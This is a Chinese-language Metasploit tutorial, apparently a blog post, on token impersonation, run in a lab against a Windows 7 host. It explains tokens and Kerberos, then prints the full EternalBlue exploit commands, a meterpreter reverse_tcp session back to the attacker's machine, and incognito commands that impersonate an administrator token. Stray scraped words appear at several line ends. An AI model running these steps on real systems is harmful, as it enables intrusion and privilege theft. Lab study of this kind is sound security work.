Metasploit之令牌竊取

令牌簡介及原理

令牌(Token) 就是系統的臨時密鑰,至關於帳戶名和密碼,用來決定是否允) 許此次請求和判斷此次請求是屬於哪個用戶的。它容許你在不提供密碼或其餘憑證的前提下,訪問網絡和系統資源。這些令牌將持續存在於系統中,除非系統從新啓動。
令牌最大的特色就是隨機性,不可預測,通常黑客或軟件沒法猜想出來。令牌有不少種,好比訪問令牌(Access Token)表示訪問控制操做主題的系統對象;密保令牌(Security token),又叫做認證令牌或者硬件令牌,是一種計算機身份校驗的物理設備,例如U盾;會話令牌(Session Token)是交互會話中惟一的身份標識符。
在假冒令牌攻擊中須要使用Kerberost協議。因此在使用假冒令牌前,先來介紹Kerberost協議。Kerberos是一種網絡認證協議,其設計目標是經過密鑰系統爲客戶機/服務器應用程序提供強大的認證服務。Kerberos的工做機制以下圖所示。shell

Kerberos工做機制

客戶端請求證書的過程以下所示。windows

  • 客戶端向認證服務器(AS)發送請求,要求獲得服務器的證書。
  • AS收到請求後,將包含客戶端密鑰的加密證書響應發送給客戶端。該證書包括服務器ticket (包括服務器密鑰加密的客戶機身份和一份會話密鑰)和一個臨時加s密密鑰(又稱爲會話密鑰,session key) 。固然,認證服務器也會給服務器發送一份該證書,用來使服務器認證登陸客戶端的身份。
  • 客戶端將ticket傳送到服務器上,服務器確認該客戶端的話,便容許它登陸服務器。
  • 客戶端登陸成功後,攻擊者就能夠經過入侵服務器獲取客戶端的令牌。

攻擊機kali:192.168.1.104
靶機win7:192.168.1.102安全

假冒令牌實戰利用

msf5 > search ms17_010            # 搜索永恆之藍漏洞利用模塊

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   1  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   2  auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection
   3  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   4  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   5  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution


msf5 > use exploit/windows/smb/ms17_010_eternalblue    # 用這個模塊,注意,靶機別打補丁,別開防火牆,以保證試驗成功
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp       # 用這個payload
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102         # 設置目標機IP
RHOST => 192.168.1.102
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104         # 設置攻擊機IP
LHOST => 192.168.1.104
msf5 exploit(windows/smb/ms17_010_eternalblue) > run                           # 開炮開炮開炮!!!

[*] Started reverse TCP handler on 192.168.1.104:4444 
[*] 192.168.1.102:445 - Connecting to target for exploitation.
[+] 192.168.1.102:445 - Connection established for exploitation.
[+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.102:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.1.102:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 
[*] 192.168.1.102:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          
[+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.102:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.102:445 - Starting non-paged pool grooming
[+] 192.168.1.102:445 - Sending SMBv2 buffers
[+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.102:445 - Sending final SMBv2 buffers.
[*] 192.168.1.102:445 - Sending last fragment of exploit packet!
[*] 192.168.1.102:445 - Receiving response from exploit packet
[+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.102:445 - Sending egg to corrupted connection.
[*] 192.168.1.102:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49163) at 2020-09-29 19:22:08 +0800
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >                                                # 能夠開幹壞事啦

此時咱們經過一系列前期滲透: https://www.jianshu.com/p/03a1c13f963a,已經成功得到了目標機的MeterpreterShell,首先輸入getuid命令查看已經得到的權限,而後輸入getsystem,發現提權失敗。
(咦。。。直接system權限我透,算了繼續作,看成我沒有的亞子……
服務器

咱們先輸入use incognito命令,而後輸入list_tokens -u列出可用的token以下:
網絡

能夠看到有兩種類型的令牌: 一種是Delegation Tokens,也就是受權令牌,它支持交互式登陸(例如能夠經過遠程桌面登陸訪問) ;還有一種是Impersonation Tokens,也就是模擬令牌,它是非交互的會話。令牌的數量其實取決於Meterpreter Shell的訪問級別。
由上圖能夠看到,咱們已經得到了一個系統管理員ge的受權令牌,如今就要假冒這個令牌,成功後便可擁有它的權限。
從輸出的信息能夠看到分配的有效令牌包含ge-PC\ge,其中ge-PC是目標機的主機名,ge表示登陸的用戶名。接下來在incognito中調用impersonate token命令假冒ge用戶進行攻擊,具體方法以下圖所示。
session

注意:在輸入HOSTNAME\USERNAME時須要兩個反斜槓(\)
運行成功後在Meterpreter Shell下運行shell命令並輸入whoami,能夠看到筆者如今就是假冒的那個ge-pc\ge系統管理員了。tcp

說明

本文參考 開篇的博客連接 及 《Web安全攻防:滲透測試實戰指南》
全部過程僅供演示交流,禁止用於非法用途,由此產生的非法後果與我無瓜!!!測試

相關文章
相關標籤/搜索